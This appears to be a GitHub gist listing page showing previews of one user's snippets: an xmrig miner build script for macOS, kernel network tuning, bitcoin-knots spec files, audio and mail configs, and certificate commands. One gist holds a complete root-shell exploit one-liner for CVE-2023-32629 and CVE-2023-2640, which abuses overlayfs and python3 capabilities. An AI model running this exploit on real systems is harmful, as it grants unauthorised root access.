Raphael Bastos aka coffnix coffnix
coffnix
/ build-xmrig-macos.sh
Created
December 6, 2025 15:28
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| #!/usr/bin/env bash | |
| set -e | |
| # prepara deps | |
| brew list cmake >/dev/null 2>&1 || brew install cmake | |
| brew list hwloc >/dev/null 2>&1 || brew install hwloc | |
| brew list openssl@3 >/dev/null 2>&1 || brew install openssl@3 | |
| brew list libuv >/dev/null 2>&1 || brew install libuv | |
| rm -rf xmrig |
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| #### | |
| ## VIPNIX TUNING - System and Network Optimization for High Performance | |
| ## | |
| ## This file adjusts Linux kernel parameters to maximize performance on 10 Gbps networks, | |
| ## reduce packet retransmissions, and improve efficiency on high-load servers. | |
| ## Focused on local networks with low latency (1–5 ms), such as connections between Linux servers and macOS clients. | |
| ## Values are optimized to minimize packet loss, prioritize low latency, and maximize throughput. | |
| # Increases the maximum number of events that inotify can monitor simultaneously. | |
| # Useful for applications that monitor many files (e.g., file servers, backup tools). |
coffnix
/ bitcoin-knots.spec
Last active
November 11, 2025 19:29
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| # | |
| # spec file for package bitcoin | |
| # | |
| # Copyright (c) 2024 SUSE LLC | |
| # Copyright (c) 2011-2014 P Rusnak <[email protected]> | |
| # | |
| # All modifications and additions to the file contributed by third parties | |
| # remain the property of their copyright owners, unless otherwise agreed | |
| # upon. The license for this file, and modifications and additions to the | |
| # file, is the same license as for the pristine package itself (unless the |
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| # | |
| # spec file for package bitcoin | |
| # | |
| # Copyright (c) 2024 SUSE LLC | |
| # Copyright (c) 2011-2014 P Rusnak <[email protected]> | |
| # | |
| # All modifications and additions to the file contributed by third parties | |
| # remain the property of their copyright owners, unless otherwise agreed | |
| # upon. The license for this file, and modifications and additions to the | |
| # file, is the same license as for the pristine package itself (unless the |
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| import base64 | |
| import hashlib | |
| import ecdsa | |
| import base58 | |
| from Crypto.Cipher import AES | |
| from Crypto.Hash import MD5 | |
| # base64 criptografado | |
| encrypted_b64 = ( | |
| "U2FsdGVkX18xMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz" |
coffnix
/ asound.conf
Last active
June 4, 2025 07:36
Configuração otimizada do shairport-sync para reprodução via AirPlay 2 com backend ALSA, utilizando interpolação soxr, saída em S32_LE, buffers ampliados para estabilidade, e controle de volume desabilitado para garantir fidelidade bit-perfect. Ideal para sistemas de áudio de alta resolução com DACs dedicados. 4.3.7-3-g97fefb43-AirPlay2-smi10-Op…
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| pcm.shairport { | |
| type plug | |
| slave.pcm "dmix_shairport" | |
| } | |
| pcm.dmix_shairport { | |
| type dmix | |
| ipc_key 2048 | |
| slave { | |
| pcm "hw:0,0" |
coffnix
/ gist:e8cebdc36c069072acdcafa4dde58fa3
Created
November 10, 2023 12:06
CVE-2023-32629 и CVE-2023-2640
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| unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'" |
coffnix
/ mail_vipnix_v2.py
Created
November 8, 2023 13:55
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| #!/usr/bin/python3 | |
| # -*- coding: utf-8 -*- | |
| VERSION = "15" | |
| # Host servidor de correio da VIPNIX | |
| MAILSERVER = "smtp.zoho.com" | |
| PORT = "587" | |
| # The mail addresses and password |
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| #!/bin/bash | |
| # Check if -r flag is set | |
| if [[ "$1" == "-r" || "$2" == "-r" ]]; then | |
| netstat -nr | sed -e '1,3d;/Internet6:/,$d;/^$/d' | |
| exit 0 | |
| fi | |
| # Get interface names | |
| network_info=$(networksetup -listnetworkserviceorder | grep -E '\(Hardware Port: .+, Device: .+\)') |
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| # Linux (client) | |
| cd ~/.local/share/barrier/SSL/ | |
| openssl req -x509 -nodes -days 3650 -sha256 -subj /CN=Barrier -newkey rsa:4096 -keyout Barrier.pem -out Barrier.pem | |
| # Windows (client) | |
| cd %USERPROFILE%\AppData\Local\Barrier\SSL | |
| openssl req -x509 -nodes -days 3650 -sha256 -subj "/CN=Barrier" -newkey rsa:4096 -keyout Barrier.pem -out Barrier.pem | |
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